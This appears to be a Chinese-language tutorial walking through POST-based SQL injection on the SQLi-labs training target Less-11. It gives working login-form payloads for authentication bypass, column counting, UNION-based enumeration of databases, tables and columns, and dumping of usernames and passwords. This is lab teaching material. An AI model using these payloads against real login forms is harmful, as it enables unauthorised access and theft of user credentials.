SQL注入 - POST注入方法

文章目录

  • 注入流程
    • 正常尝试弱口令登录
    • 判断是否存在注入,是否会将用户输入拼接到sql语句,并当做代码执行
    • 尝试是否需要闭合语句
    • 尝试注释掉后面得语句
    • 判断字段数
    • 判断显错位
    • 判断当前数据库名
    • 判断当前数据库下的表名
    • 判断当前数据库下users表的列名
    • 获取'username''password'具体数据

什么是post呢?
( 就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。)

POST和GET得区别
(POST不会在URL栏里面显示 传参可以很长 不会进行URL编码 GET注入传参在URL栏 POST注入传参在表单)

靶场:SQL labs - Less-11

SQL注入 - POST注入方法_第1张图片

注入流程

正常尝试弱口令登录

username = admin
password = 123456

发现页面不回显

SQL注入 - POST注入方法_第2张图片

判断是否存在注入,是否会将用户输入拼接到sql语句,并当做代码执行

username = admin or 1=1
password = 123456

发现页面还是不回显任何东西

SQL注入 - POST注入方法_第3张图片

尝试是否需要闭合语句

username = admin'or'1'='1
password = 123456

发现登录成功。

那么原因是什么呢,因为即使admin不成立那后面得 or 1=1 恒等式成立,那么这条语句也是成立的并且把用户得传参当成了代码执行了所以存在POST注入类型得sql注入漏洞。

SQL注入 - POST注入方法_第4张图片

尝试注释掉后面得语句

username = admin'--+
password = 123456

发现报错了,通过报错可以猜测正常得SQL语句为以下:
@$sql="SELECT username, password FROM users WHERE username='admin' and password='$passwd' LIMIT 0,1";

由于我们得目的不是为了报错,而是为了注释掉后面得语句并且语句能正常运行,正常情况下应该是不会报错得,所以我这边猜测是过滤了 ‘–+’ 注释符,尝试 ‘#’ 注释符发现页面正常

username = admin'#
password = 123456

SQL注入 - POST注入方法_第5张图片
SQL注入 - POST注入方法_第6张图片

判断字段数

username = admin'and'1'='2' order by 1 #
username = admin'and'1'='2' order by 2 #
username = admin'and'1'='2' order by 3 #

发现到3得时候报错了,由此判断字段数为2

SQL注入 - POST注入方法_第7张图片

判断显错位

username = admin'and'1'='2' union select 1,2 #

SQL注入 - POST注入方法_第8张图片

判断当前数据库名

username = admin'and'1'='2' union select 1,database() #

发现当前数据库名为'security'

SQL注入 - POST注入方法_第9张图片

判断当前数据库下的表名

username = admin'and'1'='2' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

发现存在 'emails,referers,uagents,users' 表

SQL注入 - POST注入方法_第10张图片

判断当前数据库下users表的列名

username = admin'and'1'='2' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

发现存在'username''password'列

SQL注入 - POST注入方法_第11张图片

获取’username’'password’具体数据

username = admin'and'1'='2' union select 1,group_concat(username,password) from users #

SQL注入 - POST注入方法_第12张图片

你可能感兴趣的:(WEB安全基础,漏洞复现,网络安全,渗透测试,漏洞复现,sql,mysql)